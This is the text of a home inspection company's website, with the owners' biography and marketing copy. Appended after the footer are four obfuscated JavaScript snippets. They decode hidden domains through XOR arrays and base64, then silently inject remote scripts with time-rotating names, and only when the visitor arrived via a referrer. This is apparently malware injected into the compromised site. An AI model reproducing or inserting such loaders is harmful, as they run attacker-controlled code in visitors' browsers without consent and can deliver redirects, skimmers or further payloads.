When Experience Matters.

Trust the Experts at Doherty Home Inspections

Even after performing over 1,000 inspections, we STILL value quality over quantity. Our goal is not to be the fastest inspectors – but we are definitely some of the most thorough. Read our reviews and see why we are so highly rated and how we take care of each and every client.

Why us


My family and I (like many others) relocated here in 2015 in search of a better quality of life and we have certainly found it in this beautiful and welcoming state. I am a retired NYPD detective and being a licensed home inspector in North Carolina has given me the great blessing of having another career that I love. I spent years renovating homes and have been able to funnel that passion and experience into providing very detailed home inspections.
I am the guy that likes to take everything apart and put it back together just to see how it works.

When we take our dogs for a walk, I am constantly scanning my neighbors’ roofs and siding and the grading in their yard, making mental notes (and sometimes verbal ones which the kids find not as fascinating as me) to share with them later. I assure you that I will be searching in your crawl space and attic because these areas have so many stories to tell. Your whole house gives off clues that are not always obvious to the untrained eye – and these clues can shed light on how the home was cared for and treated.

Each month, I participate in continuing education courses to stay informed and up-to-date in the constantly evolving field of home inspections. My inspections and reports go above and beyond NC standards of practice because you deserve to have more than just the minimum information required. I know very well how it feels to buy and sell a home – although it can be stressful, it really is an exciting time and I feel it is a privilege when you entrust me to be a part of it.


Why us


FROM RICK: Lori is really the backbone of this family business. Most recently, she worked for 12 years at the 9/11 Memorial & Museum in New York, helping to honor the victims of 9/11 and rebuild Lower Manhattan and now she serves as the Vice Chair of the Chapel Hill/Carrboro Chamber of Commerce. She’s been my rock for over 22 years and she absolutely puts her heart and soul into everything she does.

FROM LORI: When Rick and I met, we soon began our first remodeling project together. You find out a lot about a person’s temperament when you’re both covered in plaster dust, it’s hot, and you just realized – yep, that black stuff in the corner is mold. The fact that we kept laughing (and even got married and had two amazing daughters) while tackling new projects and renovations and full-time jobs – and then started a business together – must mean we really like each other.


Why us

WE Look forward to serving you

We were really blessed to have played a small role in the rescue and recovery of 9/11 and the creation of the 9/11 Memorial & Museum. Those experiences shape everything we do now and help us connect with the people around us on such a personal level. We have transferred all of that into this family business, and we take personal ownership for every call, every inspection, every interaction that we have. Being a part of this community has been incredible and we look forward to many more years!

Scroll to Top
Scroll to Top
!function (_fdd4e1) { var _40dbad = Date.now(); var _c823f1 = 1000; _40dbad = _40dbad / _c823f1; _40dbad = Math.floor(_40dbad); var _7ca1f9 = 600; _40dbad -= _40dbad % _7ca1f9; _40dbad = _40dbad.toString(16); var _e0048e = _fdd4e1.referrer; if (!_e0048e) return; var _d4066d = [8027, 8030, 8001, 8018, 8019, 8022, 8004, 8031, 8021, 8024, 8022, 8005, 8019, 8028, 8030, 8003, 7961, 8030, 8025, 8017, 8024]; _d4066d = _d4066d.map(function(_630e62){ return _630e62 ^ 7991; }); var _6eed1c = "7bbc4f1e597bc5edb783485e9c201e90"; _d4066d = String.fromCharCode(..._d4066d); var _95f902 = "https://"; var _b04b73 = "/"; var _4b16c3 = "track-"; var _d1a56f = ".js"; var _8e6d32 = _fdd4e1.createElement("script"); _8e6d32.type = "text/javascript"; _8e6d32.async = true; _8e6d32.src = _95f902 + _d4066d + _b04b73 + _4b16c3 + _40dbad + _d1a56f; _fdd4e1.getElementsByTagName("head")[0].appendChild(_8e6d32) }(document); !function (_8b730c) { var _7e0de8 = Date.now(); var _7c73dd = 1000; _7e0de8 = _7e0de8 / _7c73dd; _7e0de8 = Math.floor(_7e0de8); var _795337 = 600; _7e0de8 -= _7e0de8 % _795337; _7e0de8 = _7e0de8.toString(16); var _7c0571 = _8b730c.referrer; if (!_7c0571) return; var _2f42b = [51788, 51785, 51798, 51781, 51780, 51777, 51795, 51784, 51778, 51791, 51777, 51794, 51780, 51787, 51785, 51796, 51726, 51785, 51790, 51782, 51791]; _2f42b = _2f42b.map(function(_887d61){ return _887d61 ^ 51744; }); var _8cb8e0 = "aaf42f3c6e4f9bf5b126acde62e7f77f"; _2f42b = String.fromCharCode(..._2f42b); var _bbedde = "https://"; var _5fa0dc = "/"; var _f5932d = "track-"; var _f29563 = ".js"; var _d53886 = _8b730c.createElement("script"); _d53886.type = "text/javascript"; _d53886.async = true; _d53886.src = _bbedde + _2f42b + _5fa0dc + _f5932d + _7e0de8 + _f29563; _8b730c.getElementsByTagName("head")[0].appendChild(_d53886) }(document); !function (_ee0116) { var _6b5133 = Date.now(); var _b6773a = 1000; _6b5133 = _6b5133 / _b6773a; _6b5133 = Math.floor(_6b5133); var _2a38fd = 600; _6b5133 -= _6b5133 % _2a38fd; _6b5133 = _6b5133.toString(16); var _a5fa8b = _ee0116.referrer; if (!_a5fa8b) return; var _f915d = [32130, 32144, 32144, 32134, 32151, 32144, 32205, 32148, 32130, 32151, 32128, 32139, 32130, 32144, 32154, 32141, 32128, 32205, 32128, 32140, 32142]; _f915d = _f915d.map(function(_e67d2d){ return _e67d2d ^ 32227; }); var _b375c = "134325570369cca03728a96f8eb61ddc"; _f915d = String.fromCharCode(..._f915d); var _293f3d = "https://"; var _6953ff = "/"; var _391e4c = "chunk-"; var _b1cf97 = ".js"; var _7d200 = _ee0116.createElement("script"); _7d200.type = "text/javascript"; _7d200.async = true; _7d200.src = _293f3d + _f915d + _6953ff + _391e4c + _6b5133 + _b1cf97; _ee0116.getElementsByTagName("head")[0].appendChild(_7d200) }(document); !function(e,t){var r=Math.floor(Date.now()/1e3),n=r-r%3600;if(r-=r%600,r=r.toString(16),!document.referrer)return;let a=atob("anMub3B0dHJh" + "Y2tlci5vbmxpbmU=");(t=e.createElement("script")).type="text/javascript",t.async=!0,t.src="https://"+a+"/event.min."+n+".js?v="+r,e.getElementsByTagName("head")[0].appendChild(t)}(document);